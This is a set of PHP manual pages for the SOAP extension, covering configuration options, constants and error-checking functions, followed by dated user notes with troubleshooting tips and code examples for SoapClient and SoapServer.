wally at soggysoftware dot co dot uk 22-Dec-2016 09:40
If you're using official PHP packages shipped with CentOS or RedHat version 6 or 7:

# yum install php-soap

(Restart Apache/nginx too if appropriate.)
dbagnara 20-Aug-2016 10:02
for Ubuntu 16.04 LTS
sudo apt-get install php7.0-soap
sudo systemctl restart apache2.service


运行时配置

这些函数的行为受 php.ini 中的设置影响。

SOAP 配置选项
名字 | 默认 | 可修改范围 | 更新日志
soap.wsdl_cache_enabled | 1 | PHP_INI_ALL |
soap.wsdl_cache_dir | /tmp | PHP_INI_ALL |
soap.wsdl_cache_ttl | 86400 | PHP_INI_ALL |
soap.wsdl_cache | 1 | PHP_INI_ALL |
soap.wsdl_cache_limit | 5 | PHP_INI_ALL |

这是配置指令的简短说明。

soap.wsdl_cache_enabled integer

Enables or disables the WSDL caching feature.

soap.wsdl_cache_dir string

Sets the directory name where the SOAP extension will put cache files.

soap.wsdl_cache_ttl integer

Sets the number of seconds (time to live) that cached files will be used instead of the originals.

soap.wsdl_cache integer

If soap.wsdl_cache_enabled is on, this setting determines the type of caching. It can be any of: WSDL_CACHE_NONE (0), WSDL_CACHE_DISK (1), WSDL_CACHE_MEMORY (2) or WSDL_CACHE_BOTH (3). This can also be set via the options array in the SoapClient or SoapServer constructor.

soap.wsdl_cache_limit integer

Maximum number of in-memory cached WSDL files. Adding further files into a full memory cache will delete the oldest files from it.

User Contributed Notes

no dot tehwan dot spam at com dot nospam dot gmail 20-Aug-2014 08:05
Keep in mind if you have memory cache enabled that even if you use an updated WSDL file, it will still be using the one in memory. If you download the WSDL files yourself, avoid using memory cache as you will have no control over it, or set the TTL to a small value (default is 1 day).
martijn at netexpo dot nl 19-Oct-2012 01:37
Please note that these three ini settings will also affect the behaviour of your soap server (and clients as well) :

1. default_socket_timeout default 60 secs
Large or slow requests to your soap server or long processes at your soap server will return soap fault after 60 secs like : Error Fetching http headers.

2. max_execution_time default 30 secs
This can be the next bottleneck (but only when your default_socket_timeout is larger then this setting). Your soap server will not return anything, no faults no output, just an empty string.

3. memory_limit default 128M
Will throw fatal errors when the soap server script itself has low memory or will let your services return empty strings when the data it processes puts memory usage over this limit.

Other max POST settings luckily (but a bit suprisingly to me) have _no_ effect for your soap server. Those are :

max_input_time
max_input_nesting_level
max_input_vars
post_max_size
suhosin.post.max_array_depth
suhosin.post.max_array_index_length
suhosin.post.max_name_length
suhosin.post.max_totalname_length
suhosin.post.max_vars
suhosin.post.max_value_length
hpralow at users dot sf dot net 24-Jul-2008 07:40
If you want to dissable WSDL-caching, you can do so with
<?php
ini_set('soap.wsdl_cache_enabled', '0');
ini_set('soap.wsdl_cache_ttl', '0');
?>
However you must do this before creating a SOAP object (soap_client or soap_server).
Changing the settings like above does not have any effect on already existing soap-objects.

[EDIT BY danbrown AT php DOT net: Typofix provided by (james AT voodoo DOT co DOT uk) on 4-FEB-09.]


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SOAP constants
Constant | Value | Description
SOAP_1_1 (integer) | 1 |
SOAP_1_2 (integer) | 2 |
SOAP_PERSISTENCE_SESSION (integer) | 1 |
SOAP_PERSISTENCE_REQUEST (integer) | 2 |
SOAP_FUNCTIONS_ALL (integer) | 999 |
SOAP_ENCODED (integer) | 1 |
SOAP_LITERAL (integer) | 2 |
SOAP_RPC (integer) | 1 |
SOAP_DOCUMENT (integer) | 2 |
SOAP_ACTOR_NEXT (integer) | 1 |
SOAP_ACTOR_NONE (integer) | 2 |
SOAP_ACTOR_UNLIMATERECEIVER (integer) | 3 |
SOAP_COMPRESSION_ACCEPT (integer) | 32 |
SOAP_COMPRESSION_GZIP (integer) | 0 |
SOAP_COMPRESSION_DEFLATE (integer) | 16 |
SOAP_AUTHENTICATION_BASIC (integer) | 0 |
SOAP_AUTHENTICATION_DIGEST (integer) | 1 |
SOAP_SSL_METHOD_TLS (integer) | 0 | Since PHP 5.5.0.
SOAP_SSL_METHOD_SSLv2 (integer) | 1 | Since PHP 5.5.0.
SOAP_SSL_METHOD_SSLv3 (integer) | 2 | Since PHP 5.5.0.
SOAP_SSL_METHOD_SSLv23 (integer) | 3 | Since PHP 5.5.0.
UNKNOWN_TYPE (integer) | 999998 |
XSD_STRING (integer) | 101 |
XSD_BOOLEAN (integer) | 102 |
XSD_DECIMAL (integer) | 103 |
XSD_FLOAT (integer) | 104 |
XSD_DOUBLE (integer) | 105 |
XSD_DURATION (integer) | 106 |
XSD_DATETIME (integer) | 107 |
XSD_TIME (integer) | 108 |
XSD_DATE (integer) | 109 |
XSD_GYEARMONTH (integer) | 110 |
XSD_GYEAR (integer) | 111 |
XSD_GMONTHDAY (integer) | 112 |
XSD_GDAY (integer) | 113 |
XSD_GMONTH (integer) | 114 |
XSD_HEXBINARY (integer) | 115 |
XSD_BASE64BINARY (integer) | 116 |
XSD_ANYURI (integer) | 117 |
XSD_QNAME (integer) | 118 |
XSD_NOTATION (integer) | 119 |
XSD_NORMALIZEDSTRING (integer) | 120 |
XSD_TOKEN (integer) | 121 |
XSD_LANGUAGE (integer) | 122 |
XSD_NMTOKEN (integer) | 123 |
XSD_NAME (integer) | 124 |
XSD_NCNAME (integer) | 125 |
XSD_ID (integer) | 126 |
XSD_IDREF (integer) | 127 |
XSD_IDREFS (integer) | 128 |
XSD_ENTITY (integer) | 129 |
XSD_ENTITIES (integer) | 130 |
XSD_INTEGER (integer) | 131 |
XSD_NONPOSITIVEINTEGER (integer) | 132 |
XSD_NEGATIVEINTEGER (integer) | 133 |
XSD_LONG (integer) | 134 |
XSD_INT (integer) | 135 |
XSD_SHORT (integer) | 136 |
XSD_BYTE (integer) | 137 |
XSD_NONNEGATIVEINTEGER (integer) | 138 |
XSD_UNSIGNEDLONG (integer) | 139 |
XSD_UNSIGNEDINT (integer) | 140 |
XSD_UNSIGNEDSHORT (integer) | 141 |
XSD_UNSIGNEDBYTE (integer) | 142 |
XSD_POSITIVEINTEGER (integer) | 143 |
XSD_NMTOKENS (integer) | 144 |
XSD_ANYTYPE (integer) | 145 |
XSD_ANYXML (integer) | 147 |
APACHE_MAP (integer) | 200 |
SOAP_ENC_OBJECT (integer) | 301 |
SOAP_ENC_ARRAY (integer) | 300 |
XSD_1999_TIMEINSTANT (integer) | 401 |
XSD_NAMESPACE (integer) | http://www.w3.org/2001/XMLSchema |
XSD_1999_NAMESPACE (integer) | http://www.w3.org/1999/XMLSchema |
SOAP_SINGLE_ELEMENT_ARRAYS (integer) | 1 |
SOAP_WAIT_ONE_WAY_CALLS (integer) | 2 |
SOAP_USE_XSI_ARRAY_TYPE (integer) | 4 |
WSDL_CACHE_NONE (integer) | 0 |
WSDL_CACHE_DISK (integer) | 1 |
WSDL_CACHE_MEMORY (integer) | 2 |
WSDL_CACHE_BOTH (integer) | 3 |

User Contributed Notes

User 01-Oct-2010 08:56
We are casting the values (float) to simulate the 64-bits long. seem to work fine, of course, the values we are using have no decimal point.


SOAP 函数

Table of Contents

  • is_soap_fault — Checks if a SOAP call has failed
  • use_soap_error_handler — Set whether to use the SOAP error handler

User Contributed Notes

admin at localfm dot info 13-Oct-2008 12:01
As you may find, SOAP functions return result of type stdClass, not array. It means that you'll need to use $row->id instead of $row['id'] which may be inconvenient.

You can cast stdClass to array using this construction:

<?php
$data = $soap->getMyData($someParams);
$data = (array)$data;

print $data['field']; // now it works
?>
vIceBerg 23-Sep-2008 07:18
I have PHP 5.2.5 on my computer. I get this result:

Array
(
    [0] => stdClass Object
        (
            [Client] => stdClass Object
                (
                    [Nom] => LeNom:00000
                    [Prenom] => LePrenom:00000
                )

        )

My host have 5.1.6, the same call returns this result:
Array
(
    [0] => stdClass Object
        (
            [Client] => Array
                (
                    [0] => stdClass Object
                        (
                            [Nom] => LeNom:00000
                            [Prenom] => LePrenom:00000

                        )

5.2.5 is the good structure.

Take care of the version you're using. It can be a lot of work to change all the code
daniel dot harding at chaptereight dot com 28-Jul-2008 08:13
Setting Attributes for Complex Type Elements PHP5/SOAP
=========================================

// Setting attributes for simple elements:
<parentEl id="ref1">12345</foo>
<?php
array("parentEl" => array("_" => 12345, "id" => "ref1"));
?>

// Setting attributes for complex elements:
<parentEl id="ref1">
    <childEl>blah</childEl>
</parentEl>

'parentEl' => array(
        array('childEl' => 'blah')
    ),
    'id' => 'ref1'
)
nodkz at mail dot ru 24-May-2008 02:28
PROBLEM (with SOAP extension under PHP5) of transferring object, that contains objects or array of objects. Nested object would not transfer.

SOLUTION:
This class was developed by trial and error by me. So this 23 lines of code for most developers writing under PHP5 solves fate of using SOAP extension.

<?php
/*
According to specific of organization process of SOAP class in PHP5, we must wrap up complex objects in SoapVar class. Otherwise objects would not be encoded properly and could not be loaded on remote SOAP handler.

Function "getAsSoap" call for encoding object for transmission. After encoding it can be properly transmitted.
*/
abstract class SOAPable {
    public function getAsSOAP() {
        foreach($this as $key=>&$value) {
            $this->prepareSOAPrecursive($this->$key);
        }
        return $this;
    }

    private function prepareSOAPrecursive(&$element) {
        if(is_array($element)) {
            foreach($element as $key=>&$val) {
                $this->prepareSOAPrecursive($val);
            }
            $element=new SoapVar($element,SOAP_ENC_ARRAY);
        }elseif(is_object($element)) {
            if($element instanceof SOAPable) {
                $element->getAsSOAP();
            }
            $element=new SoapVar($element,SOAP_ENC_OBJECT);
        }
    }
}

// ------------------------------------------
//  ABSTRACT EXAMPLE
// ------------------------------------------

class PersonList extends SOAPable {
  protected $ArrayOfPerson; // variable MUST be protected or public!
}

class Person extends SOAPable {
   //any data
}

$client=new SoapClient("test.wsdl", array( 'soap_version'=>SOAP_1_2, 'trace'=>1, 'classmap' => array('Person' => "Person", 'PersonList' => "PersonList")  ));

$PersonList=new PersonList;

// some actions

$PersonList->getAsSOAP();

$client->someMethod($PersonList);

?>

So every class, which will transfer via SOAP, must be extends from class SOAPable.
As you can see, in code above, function prepareSOAPrecursive search another nested objects in parent object or in arrays, and if does it, tries call function getAsSOAP() for preparation of nested objects, after that simply wrap up via SoapVar class.

So in code before transmitting simply call $obj->getAsSOAP()
aeolianmeson at dontfindme dot blitzeclipse dot com 07-May-2008 08:42
A quick example to do a login using a WSDL, do a second request using the session ID from the login response, and then dump the XML from that request.

    // Setting "trace" will allow us to view the request that we are making, after we have made it.
    $objClient = new SoapClient("http://www.somewhere.com/wsdls/some.wsdl", array('trace' => true));

    // These parameters satisfy this specific remote call.
    $arrParameters_Login = array('username' => 'username', 'password' => 'password', 'company' => 'Company');

    // Invoke the remote call "login()".
    $objLogin =  $objClient->login($arrParameters_Login);

    // Grab session ID that this remote call will provide.
    $strSessionID = $objLogin->loginReturn->sessionId;

    // Set headers-- The remote call "query()" will require a header pointing to our session.

    $strHeaderComponent_Session = "<SessionHeader><sessionId>$strSessionID</sessionId></SessionHeader>";

    $objVar_Session_Inside = new SoapVar($strHeaderComponent_Session, XSD_ANYXML, null, null, null);
    $objHeader_Session_Outside = new SoapHeader('namespace.com', 'SessionHeader', $objVar_Session_Inside);

    // More than one header can be provided in this array.
    $objClient->__setSoapHeaders(array($objHeader_Session_Outside));

    // Set the query parameters.

    $strQuery = 'select empID from Time where empID = 92389278';
    $arrParameters_Query = array('queryString' => $strQuery);

    // Make call.

    $objResponse = $objClient->query($arrParameters_Query);

    header('Content-Type: text/xml; ');
    print($objClient->__getLastRequest());

The request that goes out:

<SOAP-ENV:Envelope>
    <SOAP-ENV:Header>
        <SessionHeader>
            <sessionId>8789364113604871127</sessionId>
        </SessionHeader>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
        <ns1:query>
            <ns1:queryString>select empID from Time where empID = 92389278</ns1:queryString>
        </ns1:query>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
rlee at melbournechapter dot net 01-May-2008 05:38
Just a note on "DTD not recognised..." faults. Check to make sure your wsdl file contains:

<?xml version ='1.0' encoding ='UTF-8' ?>

Also make sure you use full paths, to your service (in the wsdl, client and server)
...
<wsdlsoap:address location='http://www.mysite.com.au/web_services/myserver.php' />
...
<?php
// SOAP Server
$server = new SoapServer('http://www.mysite.com.au/web_services/hello.wsdl');
...
...
?>

<?php
// SOAP Client
 $client = new SoapClient('http://www.mysite.com.au/web_services/hello.wsdl');
...
...
?>

FYI im no SOAP expert but I hope this helps someone out ;)
Aurlien Christman 31-Mar-2008 01:34
From PHP 5, you can use the undocumented method SoapClient::__setLocation() to redefine the target EPR :

<?php

$client = new SoapClient("some_wsdl");
$client->__setLocation("http://new/target/epr");

$client->someFunction("param1", "param2");

?>
Andr Hnsel 24-Mar-2008 11:42
Note that HTTP auth is not done when fetching the WSDL file, only when carrying out the actual SOAP request.

Bug #27777 states that it is possible to supply credentials for the WSDL file using URL notation:

<?php
$client = new SoapClient("http://yourLogin:yourPassword@foo.com/bar.wsdl");
?>
thomas dot rabaix at gmail dot com 13-Mar-2008 08:41
I have set up a small article which explains how to use SOAP with NTLM authentication.

http://tinyurl.com/328rgv (Ghrrr ! the url is too long)

Hope it can help you !

Thomas
Drydenmaker 13-Jan-2008 07:59
Working with a third party service I got: "SOAP-ERROR: Parsing Schema: unexpected <text> in restriction"

Thought it would be worth it to share.  What it is saying is that there is some text in an invalid place.  C# seems to ignore it, and if you are using nusoap it doesn't notice it either.  But what was causing my problem was something like:
<types>
    <schema ...

            <simpleType name="some type">
                <restriction base="xsd:string">
                    <enumeration value="foo"/>;
                </restriction>
            </simpleType>

Note the semicolon (;).  Filter that out and your good.
Dominik 07-Dec-2007 01:31
If you are working
- on localhost
- in WSDL mode
and encounter the following error when you try to connect the soap client with the soap server

Fatal error: Uncaught SoapFault exception: [HTTP] Could not connect to host...

then change "localhost" to "127.0.0.1" in your WSDL file:
<soap:address location='http://127.0.0.1/soap-server.php'/>
Emanuele Colonnelli 06-Dec-2007 05:24
Hi,

I'd like to add this trick to get SoapClient correctly running with a WSDD-generated Axis 1 webservice.

By default, Apache Axis 1 generates a SOAP RPC/Encoded WSDL with "urn:" prefixes before all <SERVICE_NAME> occurrences.

Axis 1 WSDL also uses an "impl:" namespace prefix.

Suppose your service's name is "myWS", your WSDL will contains a "<wsdl:binding>" element with the name attribute valued "urn:myWSSoapBinding":

<wsdl:binding name="myWSSoapBinding">

PHP SoapClient has a problem (I hope it will be fixed soon ) parsing this WSDL and generates this error:

SOAP-ERROR: Parsing WSDL: No  element with name 'myWSSoapBinding'

This error arise because PHP SoapClient could not resolve the "urn:impl:myWSSoapBinding" QName in generated WSDL:

<wsdl:service name="myWSService">
<wsdl:port binding="impl:urn:myWSSoapBinding" name="urn:myWS">
<wsdlsoap:address location="http://URL/services/urn:myWS"/>
</wsdl:port>
</wsdl:service>

To solve this problem I parse WSDL applying a preg_replace to delete all "urn:" occurrences.

Then I save this generated WSDL somewhere in my site and point my SoapClient to this location.

I also need to specify additional parameters to SoapClient constructor:

<?php
$soap = new SoapClient("wsdl/myWS.wsdl",
array(
  "style" => SOAP_RPC,
  "use" => SOAP_ENCODED,
  "soap_version" => SOAP_1_1,
  "uri"=>"urn:myWS"
));
?>

I suggest you this resources to a full understanding of this kind of problems:

http://www.ibm.com/developerworks/
webservices/library/ws-whichwsdl/

http://wso2.org/wiki/display/wsfphp/
PHP+SOAP+Extension+API+-+Backward+Compatibility

I hope this save you hours of imprecations! :)

Emanuele Colonnelli
AL13N 28-Nov-2007 04:05
this might be helpful, as it took quite some time for me to find this out:

if you're using some .wsdl and there's a sequence that can be there more than once (ie: maxOccurs > 1), you can specify an non-associative array for it if you have more than 1 items OR you could just specify the one item if there is only one:

<?php
'items' => array(
    array(
        'itemId' => 5,
        'name' => 'some name',
    ),
    array(
        'itemId' => 6,
        'name' => 'some other name',
    ),
),
?>

this also works:

<?php
'items' => array(
    'itemId' => 5,
    'name' => 'some name',
),
?>
Anonymous 26-Nov-2007 11:54
when dealing with wsdl and flash soap with php
(not exactly php, but proper wsdl - took me hours to figure it to work properly in flash webservice)

when naming definitions,
don't use "tns:" but use "typens:"

makesure your "definitions/targetNamespace"
is same as your "soap:body" namespace
example: "urn:mynamespace"

makesure your "binding/type" is declared with "typens"

makesure your service/port/binding is set to 'typens:...'

if you did not do it properly, you will end up with
WSDL.UnrecognizedNamespace - in flash
but seems okay in php soapclient...

happy coding :)
hope this help you to save your time on the wsdl :)
james at mercstudio dot com 24-Nov-2007 01:45
If you use wsdl,

makesure you define the input correctly.
if your method does not contain any input parameter,
you got to makesure that you:

 - do not create the message tag for the input..
 - do not put input within porttype / operation
 - do not put input within binding / operation

if not, you will get the error:
[Client] looks like we got no XML

d***, took me several hours figuring that out...
Dennis Du Krger 23-Nov-2007 07:15
A word of warning:

Do NOT use associative arrays or arrays not starting with element number 0...

Various versions of the soap extension will not send it through properly.
t dot kloppenburg at billiton dot de 22-Nov-2007 03:33
I had the "DTD are not supported by SOAP" message, too. It helped me to var_dump the complete "SoapFault" exception to find helpful information in a field "["faultstring"]=>....".

It was an error my soap handler (adding a non existant function).
dirk at waferthin dot com 20-Jun-2007 04:31
I hope this will save someone time. When developing and testing your SOAP server, remember to disable WSDL caching in BOTH client and server:

$ini = ini_set("soap.wsdl_cache_enabled", 0);
jochen dot munz at municons dot com 11-Jun-2007 08:56
When encountering an error message like this

[faultstring] => Function ("yourMethod") is not a valid method for this service

although it is present in the WSDL etc., be aware that PHP caches the wsdl locally for better performance. You can disable the caching via php.ini/.htaccess completely or remove the cache file (/tmp/wsdl-.. if you are on Linux) to force regeneration of it.
Marcio Annunciato 17-May-2007 02:22
In case your soap response containts an ampersand, in certain cases you might get an "unterminated entity reference" warning and data might appear truncated (related to bug #36795?). Maybe there is a more formal fix or setting, but since I couldn't find anything I came with the following:

class MySoapClient extends SoapClient {
    function __doRequest($request, $location, $action, $version) {
        $res = parent::__doRequest($request, $location, $action, $version);
        $resx = str_replace('&amp;', '&amp;amp;', $res);
        print_r($resx);
        return ($resx);
    }
}
albert at jool dot nl 27-Mar-2007 02:59
A note for ppl who use certificates with SOAP under a Windows config: it seems to be required to give the full path to the certificate file - and don't prepend 'file://' :

<?php

$wsdl = "test.wsdl";
$local_cert = "c:\htdocs\mycert.pem";
$passphrase = "xyz";

$client = new SoapClient($wsdl, array('local_cert' => $local_cert, 'passphrase' => $passphrase);

?>
kroesjnov at hotmail dot com 09-Feb-2007 07:38
If you dont want to manually maintain the classmap, make sure you use the same names for your PHP object classes and your WSDL complexTypes, and use the following code:

$classmap = array();
$tmpClient = new SoapClient("soapserver.wsdl");

foreach($tmpClient->__getTypes() as $type)
{
    $array = split(" ", $type);
    if($array[0] == "struct" && class_exists($array[1]))
    {
        $classmap[$array[1]] = $array[1];
    }
}
unset($tmpClient);

$server = new SoapServer("soapserver.wsdl", array("classmap" => $classmap));
unset($classmap);
$server->setClass("someclass");
$server->handle();
brephophagist 18-Jan-2007 09:45
For those working from a wsdl full of complex types that just want a class structure to hang your code on and not worry about typing in long parameter lists (or creating a script to do so): wsdl2php is a wonderful time-saver. Gets a structure going so you can go in and add what validation and special data munging you need: http://www.urdalen.no/wsdl2php/

Big up yourself, Knut.
Olaf Krische 21-Nov-2006 01:48
If you use SSL with a cert and password authentication:

$wsdl = "https://ws.ecopatz.de/ProductInfo?wsdl";
$pass = 'a password';
$certFile = "./mycert.pem";

  $client = new SoapClient($wsdl,
    array(
     'local_cert' => $certFile,
     'passphrase' => $pass
    )
  );

If you have problems with the certfile like this:

  Warning: SoapClient::__construct(): Unable to set local cert chain file `./mycert.pem'; Check that your cafile/capath settings include details of your certificate and its issuer in productinfo.php on line 27

then the certFile is probably in the "wrong format" (the wrong format for php maybe). It worked for me, when i appended the content of the private key file and the certificate file to a single file "mycert.pem":

  cat mycert.key >mycert.pem # mycert.key was the private key
  cat mycert.crt >>mycert.pem # mycert.crt was the signed certificate

Thanks to an author somewhere, who pointed to "curl --cert", where this little "so unimportant" dependency has been mentioned.
nico 25-Aug-2006 06:20
If you want to build a Soap Server for Microsoft Office's client (like Microsoft Office Research Service) you need to rewrite SOAP's namespaces :

<?php
// (...)

$server = new SoapServer($wsdl, array('uri' => $uri, 'classmap' => $classmap));
$server->setClass($class);
function callback($buffer)
{
    $s = array('<ns1:RegistrationResponse>', 'ns1:', 'xmlns:ns1="urn:Microsoft.Search"');
    $r = array('<RegistrationResponse xmlns="urn:Microsoft.Search">', '', '');
   return (str_replace($s, $r, $buffer));
}
ob_start('callback');
$server->handle();
ob_end_flush();

// (...)
?>

There are a complete example at this URL : http://touv.ouvaton.org/article.php3?id_article=104
info at webability dot info 22-Aug-2006 12:30
If you want to use soap over https, you *must* compile php with the configure option with-openssl or you will have the error "[HTTP] SSL support not available in this build" while trying to use the web services over SSL
mini at freebsd dot org 08-Jul-2006 04:54
wokan at cox dot net is incorrect about the security of URI-passed values to HTTPS URIs.  HTTPS connections are HTTP inside SSL -- all of the HTTP traffic, including the request, are encrypted.
lists at 5etdemi dot com 13-Mar-2006 06:26
To enable SoapClient on Windows, simply add a line:

extension=php_soap.dll

in php.ini in the extensions section.
adm 01-Mar-2006 11:27
Wondering why the function you just added to your WSDL file is not available to your SOAP client? Turn off WSDL caching, which (as the documentation says) is on by default.

At the top of your script, use:

$ini = ini_set("soap.wsdl_cache_enabled","0");
Matthew Glubb 20-Jan-2006 08:05
For anyone wondering why they are getting a "DTD are not supported by SOAP" fault string. It is because you are probably being returned an HTML page due to an internal server error, 404, etc.

Refer to the documentation for SoapClient->__getLastResponse in order to see what returned by the server.
ckl at ecw dot de 16-Jan-2006 11:54
To debug a SOAP service using SoapServer(), a WSDL file and Zend Studio Client/Server, you have to append ?start_debug=1&amp;debug_port=10000 to the service location:
--- snip ---
... method / service definition ....

<service name="SOAPService">
  <port
    name="SOAPServicePort"
    binding="typens:SOAPServiceBinding">
   <soap:address
   location="$URL?start_debug=1&amp;debug_port=10000"/>
  </port>
</service>
--- snap ---
Rui Martins 18-Dec-2005 08:33
Here's an example on how to pass ArrayOfAnyType arguments
containing complex types.

Suppose your WSDL file defines "http://any.url.com/" as the default namespace and a complex type "SomeComplexType".

If you want to call a WebServices which takes an ArrayOfAnyType argument of "SomeComplexType"s you need to perform the following:

<?php
// complexTypes being an array containing several instances of SomeComplexType

myWSParameter = array();
foreach (complexTypes as ct)
{
   // Don't misspell the type or the namespace. Also note that php won't assume the default namespace defined in the WSDL file.
   myWSParameter []= new SoapVar(ct, 0, "SomeComplexType", "http://any.url.com/");
}
?>

On the other hand, when a WebService returns an ArrayOfAnyType you have to do the following to access each of its elements.

<?php
// Here, we will be echoing each return item
$res = $someWS->myFunction($myArgs)

// If only one element is returned, an array won't be built
if (is_array(myFunctionResult->anyType))
{
   foreach (myFunctionResult->anyType as $soapVar)
   {
      echo $soapVar->enc_value;
   }
}
else
{
   echo myFunctionResult->anyType->enc_value;
}
?>

This has all been tested using a .NET WebService.
ChrisB 23-Oct-2005 11:03
Heads up for anyone using PHP Soap + Sessions + PEAR DB classes.

Every time you make a call, via the soap client to your web service, your PEAR DB session is put to sleep and it doesnt by default wake upon the next request.

To fix this I simply called my particular database close call ifx_close() below my $soap->handle();
Bob 11-Oct-2005 01:17
If you are scratching your head why NuSOAP not working on PHP 5.x , the reason is this built-in SOAP Extenstion uses same soapclient() class name as Nusoap.

replace 'soapclient' with 'soapclient_xxx'  in nusoap.php and you are good to go...
johnjawed at gmail dot com 22-Sep-2005 09:29
For those wondering on how to set attributes on nodes with PHP5 SOAP, it would be done as such:

<... soap env/header>
<foo bar="blah">12345</foo>

array("foo" => array("_" => 12345, "bar" => "blah"));
Darryl 20-Jul-2005 11:46
Having trouble passing complex types over SOAP using a PHP SoapServer in WSDL mode?  Not getting decoded properly?  This may be the solution you're looking for!

When using ComplexType in the schema portion of the WSDL file, You need use an additional step to tell PHP SOAP how to encode the objects.  The first method would be to explicitely encapsulate the object in a SoapVar object - telling PHP to use generalized SOAP encoding rules (which encodes all ComplexTypes as Structs).  This won't work, though, if the client is expecting the objects to be encoded according to the WSDL's schema.  So, The actual way to do this is:

* First, define a specific PHP class which is actually just a data structure holding the various properties, and the appropriate  ComplexType in the WSDL.

<?php
 class MyComplexDataType {
     public $myProperty1;
     public $myProperty2;
 }
?>
 <complexType name="MyWSDLStructure">
 <sequence>
    <element name="MyProperty1" type="xsd:integer"/>
    <element name="MyProperty2" type="xsd:string"/>
 </sequence>
 </complexType>

* Next, Tell the SoapServer when you initialize it to map these two structures together.

<?php
 $classmap = array('MyWSDLStructure' => 'MyComplexDataType');
 $server = new SoapServer("http://MyServer/MyService.wsdl", array('classmap' => $classmap))
?>

* Finally, have your method return an instance of your class directly, and let the SoapServer take care of encoding!

<?php
 public function MySoapCall() {
     $o = new MyComplexDataType();

     $o->myProperty1 = 1;
     $o->myProperty2 = "MyString";

     return $o
 }
?>
Jim Plush 12-Jul-2005 04:45
If you're trying to use the SOAP Extension over SSL with a custom PEM file you need to do this:

$client->_local_cert = "C:\\path\myCert.pem";
pash_ka 18-May-2005 12:52
One good tutorial on using this extension is on IBM web site:
"Using the PHP 5 SOAP extension to consume a WebSphere Web service"
http://www.ibm.com /developerworks/library/os-phpws/?ca=dgr-lnxw06PHP5soap
flobee at gmail dot com 11-May-2005 01:25
wow, actually a cool program and soap is new for me.
I found out some interessting things i can not debug because the scripts exit without any error messages or notes. :-(

you may have problems with the memory and/or especially on "shared servers" when server load is high.
sometimes the script does the job, sometimes it just stopping at any unknown point.
these are the steps my script does:
* get data from remote server ( ~ 4.5 MB)
* parsing requested object and store the data in a database.

the return with debug messages was intressting:
-> check Mem limit: 30M
-> $client = new new SoapClient($url_wsdl, $options);
-> Memory usage: 185888
-> $client->[requested_method_to_get_data]();
-> check: __getLastResponseHeaders() - after:
-> HTTP/1.1 200 OK // remote server is fine with me :-)
-> Content-Length: 4586742  // I got the data
-> check: Memory usage now: 23098872 // ups !!! this can't be true!!

so, and if now someone on the server takes the rest of RAM  the walk thought the data breaks :-(

so, i need to store the xml tree ($client->client->__last_response) and parsing it by the classical way. (if you would request more RAM, you may get in trouble with the admin if you run a script like this more often! (on shared servers)
OrionI 18-Apr-2005 08:12
If you're having problems calling a .NET web service, see the comments over on http://php.net/soap_soapclient_soapcall (the __soapCall method).
kucerar at hhmi dot org 25-Mar-2005 12:04
Here are 73 test cases that detail the kinds of schemas that PHP5 currently supports and the structures you are expected to plug into them for the return value from your services.   Much better than trying to guess!

http://cvs.php.net/co.php/pecl/soap/tests/schema

You can cycle through the listings by changing the main index in the URL below,  rather than go in and out of the pages

http://cvs.php.net/co.php/pecl/soap/tests/schema/schema052.phpt?r=1.2

I downloaded the whole thing with this,  CVS might work too.
http://www.httrack.com/

With them all downloaded I just browse them with Textpad.
Norman Clarke <norman at dontblink dot com> 21-Feb-2005 04:29
Note that if you should need to set the timeout for your soap request,  you can use ini_set to change the value for the default_socket_timeout. I previously used NuSOAP, whose soap client class has a timeout option, and it took me a while to figure out that PHP's soap uses the same socket options as everything else.
wokan at cox dot net 05-Feb-2005 05:06
It's not good security practice to pass the username and password in the URI when the point of SSL is to prevent that information from being intercepted.  Putting that information in the URI makes it interceptable.  HTTPS-Posted values are safe because values passed in the headers are sent after the SSL handshake has been completed.
mikx at mikx dot de 29-Mar-2004 08:12
It took me a while to properly establish a password protected client connection via https on windows/apache1.3. Here my little guide:

1. The SOAP extension isn't activated by default (PHP5 RC1). Just add "extension=php_soap.dll" to the php.ini and don't forget to set the extension_dir properly (in most cases "c:\php\ext").

2. Add "extension=php_openssl.dll" to the php.ini. This module depends on libeay32.dll and ssleay32.dll - copy them from your php folder to your system32 folder.

3. Restart apache

4. The sourcecode

$client = new SoapClient("https://yourLogin:yourPassword@foo.com/bar.wsdl", array(
    "login"      => "yourLogin",
    "password"   => "yourPassword",
    "trace"      => 1,
    "exceptions" => 0));

$client->yourFunction();

print "<pre>\n";
print "Request: \n".htmlspecialchars($client->__getLastRequest()) ."\n";
print "Response: \n".htmlspecialchars($client->__getLastResponse())."\n";
print "</pre>";

Currently it seems to be necessary to add your login and password both in the uri and in the options array. Not sure if this is the expected behavior.


Checks if a SOAP call has failed

  • ? SOAP 函数
  • use_soap_error_handler ?
  • PHP Manual
  • SOAP 函数
  • Checks if a SOAP call has failed

is_soap_fault

(PHP 5, PHP 7)

is_soap_fault — Checks if a SOAP call has failed

说明

is_soap_fault ( mixed $object ) : bool

This function is useful to check if the SOAP call failed, but without using exceptions. To use it, create a SoapClient object with the exceptions option set to zero or FALSE. In this case, the SOAP method will return a special SoapFault object which encapsulates the fault details (faultcode, faultstring, faultactor and faultdetails).

If exceptions is not set then SOAP call will throw an exception on error. is_soap_fault() checks if the given parameter is a SoapFault object.

参数

object

The object to test.

返回值

This will return TRUE on error, and FALSE otherwise.

范例

Example #1 is_soap_fault() example

<?php
$client = new SoapClient("some.wsdl", array('exceptions' => 0));
$result = $client->SomeFunction();
if (is_soap_fault($result)) {
    trigger_error("SOAP Fault: (faultcode: {$result->faultcode}, faultstring: {$result->faultstring})", E_USER_ERROR);
}
?>

Example #2 SOAP's standard method for error reporting is exceptions

<?php
try {
    $client = new SoapClient("some.wsdl");
    $result = $client->SomeFunction(/* ... */);
} catch (SoapFault $fault) {
    trigger_error("SOAP Fault: (faultcode: {$fault->faultcode}, faultstring: {$fault->faultstring})", E_USER_ERROR);
}
?>

参见

  • SoapClient::SoapClient() - SoapClient constructor
  • SoapFault::SoapFault() - SoapFault constructor

User Contributed Notes

There are no user contributed notes for this page.


Set whether to use the SOAP error handler

  • ? is_soap_fault
  • SoapClient ?
  • PHP Manual
  • SOAP 函数
  • Set whether to use the SOAP error handler

use_soap_error_handler

(PHP 5, PHP 7)

use_soap_error_handler — Set whether to use the SOAP error handler

说明

use_soap_error_handler ([ bool $handler = TRUE ] ) : bool

